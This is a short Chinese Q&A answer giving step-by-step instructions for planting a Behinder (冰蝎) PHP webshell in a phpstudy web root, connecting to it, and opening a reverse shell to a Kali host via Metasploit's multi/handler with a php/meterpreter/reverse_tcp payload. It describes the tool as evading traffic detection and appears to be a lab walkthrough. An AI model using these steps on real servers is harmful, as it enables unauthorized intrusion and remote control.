冰蝎连接木马到反弹shell拿到权限全过程

冰蝎连接木马到反弹shell拿到权限全过程
最新回答
卿绡

2026-03-22 06:34:04

冰蝎是动态二进制加密网站管理客户端,专门针对流量加密的webshell进行操作。为应对webshell流量特征明显的安全检测,冰蝎应运而生,以加密流量形式运行。

冰蝎连接getshell方法包括:

1.在phpstudy网站根目录内放入冰蝎特有PHP木马。

2.通过浏览器访问木马文件地址。

3.连接冰蝎客户端,保存连接。

连接成功表示木马已正常工作。

冰蝎getshell后,可通过以下步骤开启反弹shell:

1.使用冰蝎客户端的反弹shell功能。

2.输入本机Kali的IP地址,可通过运行“ip addr”命令获取。

3.设置端口,随意填写。

4.在Kali终端打开监听设备,运行“msfconsole”命令。

5.使用“use exploit/multi/handler”命令,并设置payload为“php/meterpreter/reverse_tcp”。

6.查看设置选项,确认已连接。

7.设置本地主机IP地址为192.168.43.61。

8.再次查看设置选项,确认主机已连接。

9.执行“exploit”命令,开始监听。

10.点击“给我连”,完成与主机的连接。

11.在Kali终端执行监听,已成功开始监听操作。

12.执行“sysinfo”命令,了解目标系统信息。

至此,完成冰蝎连接木马到反弹shell拿到权限的全过程。